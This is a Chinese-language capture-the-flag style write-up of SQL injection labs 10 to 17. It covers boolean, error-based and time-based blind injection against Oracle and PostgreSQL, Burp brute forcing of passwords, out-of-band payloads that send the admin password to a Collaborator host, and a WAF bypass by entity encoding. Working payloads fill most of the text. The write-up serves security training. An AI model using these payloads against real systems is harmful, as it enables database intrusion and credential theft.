17连环靶场SQL注入—漏洞就在延迟的那1s中
原来漏洞就在延迟的那1s中
十号靶场
和上面没太大区别,数据库换为oracle了
拿字段
爆出账户:
十一号靶场
构造判断payload后,发现没有报错,但是却没有回显
BurpSuite一顿测试后,发现cookie如果测试注入点1=1正确的情况下,会出先welcome 字样,但是如果注入失败,没有该字样,cookie参数致命注入点!
祭出bool盲注(通过 bool 即 true和false结合二分搜索算法,定位数据库+表+字段 及名称的一种注入方式)
虽然麻烦(尝试使用sqlmap偷懒,却没有成功~~~0,0)
构造payload
hnkOCAAYwmvqMG6O’+and+1%3d1–
既然发现注入点,剩下工作就是拿表拿数据了
因为bool盲注测试很麻烦, 所以最好结合一下二分搜索法的算法
构造payload 猜测表名是否为users
**hnkOCAAYwmvqMG6O’ and (select ‘x’ from users limit 1)=‘x’-- **
构造payload猜测用户名是否为 administrator
hnkOCAAYwmvqMG6O’ and (select username from users limit 1)=‘administrator’–
构造payload判断出密码长度为20
hnkOCAAYwmvqMG6O’ and (select username from users where username=‘administrator’ and length(password)>1)=‘administrator’–
下来就是通过ascii来一个一个猜测字母,这个过程很麻烦,所以是时候祭出爆破组了,BurpSuite里面有很好用的爆破工具,
Cluster Bomb,集束炸弹 名字超爱!
利用substr函数的开始下标参数,和 判断结果字母 作为爆破点,配置好爆破方式,开启爆破!
爆破点1为数字1-20,因为已经锁定密码长度为20
密码爆出! 排列一下即可获得管理员密码为:nt7tk2mqnvy9r37asr0p
十二号靶场
同样没有回显,和上一个靶场相比,也没有了welcome的提示
但测试后,发现TrackingId字段,如果加 ‘ 则响应为500 ,但是如果加两个 ’ ‘ 则响应为200
以此作为注入点,尝试盲注
构造payload
确定注入点
’ || (SELECT ‘’ FROM dual) || ’ ======> 200
’ || (SELECT ‘’ FROM aaaa) || ’ ======> 500
确定users表名
’ || (SELECT ‘’ FROM users where rownum=1) || ’ ======> 200
下来就是确定用户名,构造payload,此处payload确实学到不少东西:
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
oracle 中 CASE 表达式类似于if-else , when 当1=1时,执行TO_CHAR函数,即将结果值从数字类型转换为String字符串,自然1/0会爆出异常
如果when中1=0,结果不成立,则执行ELSE,搜索空值即可,
确定administrator用户,则转换为:
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE USERNAME='administrator') || '
sql的执行,会先执行外面的where 条件,当条件满足时,才会执行里面的case表达式,利用这个,则
如果administrator用户存在的话,则执行1=1 ,进而执行1/0,爆出异常
如果administrator不存在的话,则不会执行case表达式,则不会爆出异常
再通过同样的方式,确定password
确定PASSWORD的长度
’ || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE USERNAME=‘administrator’ AND LENGTH(password)>1) || ’
得到结果20
构造payload
’ || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE USERNAME=‘administrator’ AND SUBSTR(password,1,1)=‘a’) || ’
再利用 集束炸弹 进行爆破!
确认爆破点
确定密码:crc2eo0kkdauvxmy2mdo
解决!
十三号靶场
同样没有回显,TrackingId 测试没发现注入点,延时注入,生效
构造payload
十四号靶场
同样延时注入,只是这次要求用administrator身份登录
1、确定注入点 payload
’ || pg_sleep(10)–
2、确定users表存在
’ || (SELECT CASE WHEN(1=0) THEN pg_sleep(10) else pg_sleep(-1) end)–
’ || (SELECT CASE WHEN(username=‘administrator’) THEN pg_sleep(10) else pg_sleep(-1) end from users)–
3、确定password 的长度 为20
’ || (SELECT CASE WHEN(username=‘administrator’ AND LENGTH(password)>1) THEN pg_sleep(10) else pg_sleep(-1) end from users)–
4、确定password
’ || (SELECT CASE WHEN(username=‘administrator’ AND SUBSTR(password,1,1)=‘a’) THEN pg_sleep(10) else pg_sleep(-1) end from users)–
同理,爆破组准备!因为这次是延时注入,所以还需设置线程数为1,因为BurpSuite默认为10个线程同时跑,这样延时效果就会失效,爆破不出东西(学到就是赚到)
response响应时间有明显的10s以上的延迟,就是正确密码,排列后得到密码:
s1azjop4kgfcd9tn04l5
十五号靶场
BurpCollaborator ,带外工具
什么是Burp Collaborator?
Burp Collaborator 是 OAST的产物,它可以帮你实现对响应不可见和异步的一个漏洞检测。
测试跨站可能有些功能插入恶意脚本后无法立即触发或者是盲注跨站这种。解决办法是,我们需要一个外部的独立的服务器,可以通过域名 url 进行访问。而Burp 给我们提供了这个外部服务器,叫 Collaborator
先搞定一波payload的写法,以Oracle为例
SELECT EXTRACTVALUE(xmltype(‘<?xml version="1.0" encoding="UTF-8"?> %remote;]>’),‘/l’) FROM dual
将Collaborator 获得的外部服务器地址:y326l2jf89l2g28y81cbm8irvi19py.oastify.com
将这个URL地址替换DNS look up 中的http位置,得到最终payload:
’ UNION SELECT EXTRACTVALUE(xmltype(‘<?xml version="1.0" encoding="UTF-8"?> %remote;]>’),‘/l’) FROM dual–
抓包攻击!
后,回到Collaborator ,poll now ,下面就会获取到DNS的信息,破局!
十六号靶场
依旧需要 带外攻击,与上面靶场类似,只是这次需要渗透到密码,登录才可以通关
构造payload
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
获取Collaborator :qrlhbd33kdi9aou358r3kjhrgim9ay.oastify.com
构造最终payload:
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users where username='administrator')||'.qrlhbd33kdi9aou358r3kjhrgim9ay.oastify.com
/"> %remote;]>'),'/l') FROM dual--
得到密码:
der761b0wuz9hndbbgsw
搞定!
十七号靶场
最后一个了~~加油了!
题目最终还是要渗透到管理员账户,UNION攻击从其他表中获取数据
进入靶场,内部下拉框处抓包发现了xml文件,前面提示也看到了xml,想必注入点就在这里,尝试UNION攻击
提示出 ”检测到攻击“,所以说防火墙发现了攻击语句,结合题目,那就是要编码绕过防火墙即可。
重新构造payload,并且通过Hackvertor 来进行编码尝试绕过:
发现dev_entrites 编码成功绕过WAF,这就OK啦~~
构造最终payload:
<@dec_entities>1 UNION SELECT concat(username,password) from users<@/dec_entities>
得到密码:qzr5kp1l5iyy617wh23z